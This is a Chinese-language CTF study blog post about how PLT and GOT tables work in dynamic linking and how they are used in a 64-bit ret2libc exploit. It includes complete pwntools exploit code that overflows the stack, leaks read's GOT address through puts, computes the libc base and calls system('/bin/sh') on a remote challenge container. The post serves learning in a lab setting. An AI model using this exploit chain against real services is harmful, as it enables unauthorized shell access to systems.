最近在学ret2libc,plt和plt.got表的理解不够深入让我很吃力,这篇文章总结一下目前我对plt和plt.got表的理解。

动态链接全过程

首先看看在动态链接时发生了什么,以及plt和plt.got表再这里发挥了什么作用(这里图来自知乎大佬hashcollision,感谢大佬)

text是我们的代码段,运行是如果程序需要执行形如下面的汇编代码时,程序就会去libc文件里面找要的函数(这里是get函数)

call XXXXXXXX<gets@plt>

CTFPWN在64位ret2libc中对plt和plt.got的初步理解及应用_ret2libc

此时什么都没发生,当第一次运行了那段代码之后,程序会发生如下的变化(同样,图来自知乎大佬HashCollision)

CTFPWN在64位ret2libc中对plt和plt.got的初步理解及应用_动态链接_02

此时大概是怎么回事呢。用通俗的话讲。

1.text段中的printf@plt会指引程序跑到plt中的printf相关段。

2.plt中的代码是jmp*(printf@got),指引程序跑到got.plt段中关于printf的段。

3.可以看到此时got.plt表中关于printf的内容是一段代码(printf@plt+6),指向plt段中的get_address段。程序又跑到了get_address段

4.get_address段其实是一段可执行代码,会自动将got.plt表里关于printf的内容覆写1成printf函数的真正地址。

5.至此,初次动态链接的内容全部完成。

1:这里的覆写是我的猜测,具体原因会在下一段解释。

在链接完成之后,plt,got.plt的内容发生如下变化,程序完成一次动态链接的过程也发生了变化。

(图同样来自知乎大佬HashCollision,顺便一提他写的真的不错)

CTFPWN在64位ret2libc中对plt和plt.got的初步理解及应用_ret2libc_03

在完成一次动态链接之后,程序如果再次出现需要调用libc库中的同一个函数,过程会被简化。如箭头所示

1.printf@plt还是指向plt中的jmp *(printf@got),指引程序跑向got.plt中的printf段。

2.与第一次动态链接时不同的发生了,got.plt表中已经有了printf的真实地址,可以指引程序去printf了。

3.于是程序直接到了printf的位置。动态链接完成。

1:这里讲讲为什么我猜测原来的printf@plt+6被覆写了,如果没有被覆写的话,程序可能还会跑回plt中的get_address段,这其实时没有必要的,还会让费性能。而如果printf@plt+6是被覆写的话,就可以巧妙地避免这种问题,也可以避免判断是否plt.got表中是否有printf真实地址。程序只需要执行代码就好了。

在pwn中的应用

一,泄露libc库中任意函数地址

首先libc中的地址默认开启随机,但是这种随机只是加载到程序时基地址随机,libc内部所有函数的相对位置没有变化。

做题时分两种情况

1.我们已经获得了题目给的libc文件

2.没有libc文件

这两种其实再exp写起来思路是差不多的,都需要泄露一个libc库里函数的地址才能用得了库里面别的我们需要的函数,如system。而具体exp写法差别我会在第二大段给出。

所以无论如何我们得先泄露一个函数的真实地址。在根据具体libc库的版本得知所有函数的偏移情况如何,就可以调用我们心心念念的system函数了。(因为这种题目一般在题目里没有system函数,要不直接上ROP构造了,谁还搞这么麻烦,当然也有可能题目本体的gadget数量不够,所以引入libc库的内容)

1.这里最好的方法就是泄露已经调用过的函数的地址。因为其地址已经被写入got表了。这里我选择泄露read。

2.如何让程序把got表里的东西写出来呢,我们这里直接调用像puts,write,printf这样的函数就行。看这段payload,题目里其实还有write函数,但是puts函数只需要一个参数,比较方便,不需要找一大堆popret。

io = process("./repeater")#在本地调试时引入题目附件
elf = ELF('./repeater')
puts_plt = elf.plt['puts']#其实就是在题目附件里找到call puts@plt的地址
read_got = elf.got['read']#这是在题目附件里找到got表里read的位置。
#在程序运行了该函数之后,got表里就有read函数真实地址了
vul_adr = 0x401196#由于每次加载程序libc基地址都会变化,
#所以我们整个爆破过程必须一气呵成,在泄露之后回到vuln再次发起爆破
pop_rdi_ret = 0x4012c3#这个地址和vuln地址倒不是随机的,可以直接在IDA看
offset = 0x28#栈溢出填充的垃圾数据的字节数
payload = b'a'*offset+p64(pop_rdi_ret)#用pop将后面需要泄露的got表存入rdi,作为puts函数的参数
payload += p64(read_got) + p64(puts_plt)#puts_plt等于puts函数的地址,调用puts把read_got储存的read真实地址泄露
payload += p64(vul_adr)
io.send(payload)

CTFPWN在64位ret2libc中对plt和plt.got的初步理解及应用_CTFPWN_04

这是程序刚刚溢出可以看到绿色箭头正从vuln到poprdi,正在把read@got的地址pop给rdi(图中栈顶正是read@got)

而pop之后就会ret到puts@plt的位置呼出puts函数。在puts@plt下一行是我们传入的vuln地址

CTFPWN在64位ret2libc中对plt和plt.got的初步理解及应用_动态链接_05

可以看到,我们传入的地址被当作返回地址了,具体为啥我也不太清楚,毕竟函数调用学的依托(没事,反正payload会写就行了,大概按照格式,在用于泄露后的函数之后加上返回的函数如main或vuln即可,这里只是64位的操作)

二,通过工具得出libc版本并获取libc基地址

这里分两种情况,如果题目给了libc文件,用的是代码中没有注释的部分。(如果在本地调试需要用xclibc或patchelf把题目给的libc文件挂载到题目主文件上)

如果题目没给libc文件用的是代码中注释部分(前两行通用),在本地只需用电脑自带的随便一个libc就行,在连靶机时libcseacher会根据泄露的地址匹配libc版本。

(旧版libcseacher需要在本地下ubuntu的libc文件,新版libcseacher是云端的,但是需要联网)

shit = u64(io.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))#这里是因为在调试时发现write函数会把栈上的一个奇怪的地址输出来,
所以用shit吃下这个奇怪的地址,变量人如其名,shit
read_real = u64(io.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
print(hex(read_real))
libc = ELF('./libc-2.31.so')
#libc = LibcSearcher('read', read_real)
#libc.select_libc()#手动选择所有可能的版本
libc_base = read_real - libc.sym['read']
#libc_base = read_real - libc.dump('read')
libc_system = libc_base + libc.sym['system']
#libc_system = libc_base + libc.dump('system')
libc_binsh = libc_base + next(libc.search(b'/bin/sh'))
#libc_binsh = libc_base + libc.dump('str_bin_sh')

三,回到刚刚的位置第二轮爆破

说到这顺便提一嘴,不知道为啥ret2libc的好像都只给一个输入点,所以需要通过ret回原函数再第二轮爆破。如果有两个溢出点当然就不需要这么做了。直接再第二个溢出点发payload就行。

这里其实就挺常规的了,只是我之前的题找地址喜欢在IDA里找,所以当时看别人libc.dump愣了一下,其实就是在libc文件里找到system函数首地址。同理,只是从找函数首地址变成了找字符串首地址。

payload2 = offset * b'a' + p64(ret) + p64(pop_rdi_ret)#这里的ret是用于栈对其的。具体原理不懂,朋友让加的。
payload2 += p64(libc_binsh) + p64(libc_system)
io.send(payload2)
io.interactive()

最后看看完整exp

from pwn import *
from LibcSearcher import *
# context(
#     terminal = ['tmux','splitw','-h'],
#     os = "linux",
#     arch = "amd64",
#     #arch = "i386",
#     log_level="debug"
# )
# io = process('./repeater')
io = remote("1.container.jingsai.apicon.cn",30138)
# def debug():
#     gdb.attach(io)
#     pause()
# debug()

elf = ELF('./repeater')
puts_plt = elf.plt['puts']
read_got = elf.got['read']
vuln_addr = 0x401196
pop_rdi_ret = 0x4012c3
ret = 0x40125F
offset = 0x28
payload = b'a'*offset
payload += p64(pop_rdi_ret) + p64(read_got) 
payload += p64(puts_plt) + p64(vuln_addr) 
io.send(payload)

shit = u64(io.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
read_real = u64(io.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
print(hex(read_real))
libc = ELF('./libc-2.31.so')
#libc = LibcSearcher('read', read_real)
#libc.select_libc()
libc_base = read_real - libc.sym['read']
#libc_base = read_real - libc.dump('puts')
libc_system = libc_base + libc.sym['system']
#libc_system = libc_base + libc.dump('system')
libc_binsh = libc_base + next(libc.search(b'/bin/sh'))
#libc_binsh = libc_base + libc.dump('str_bin_sh')

payload2 = offset * b'a' + p64(ret) + p64(pop_rdi_ret)
payload2 += p64(libc_binsh) + p64(libc_system)
io.send(payload2)
io.interactive()

CTFPWN在64位ret2libc中对plt和plt.got的初步理解及应用_CTFPWN_06

plus:我不知道为什么我用不了libcsearcher,等下次遇到不给libc的题在看看吧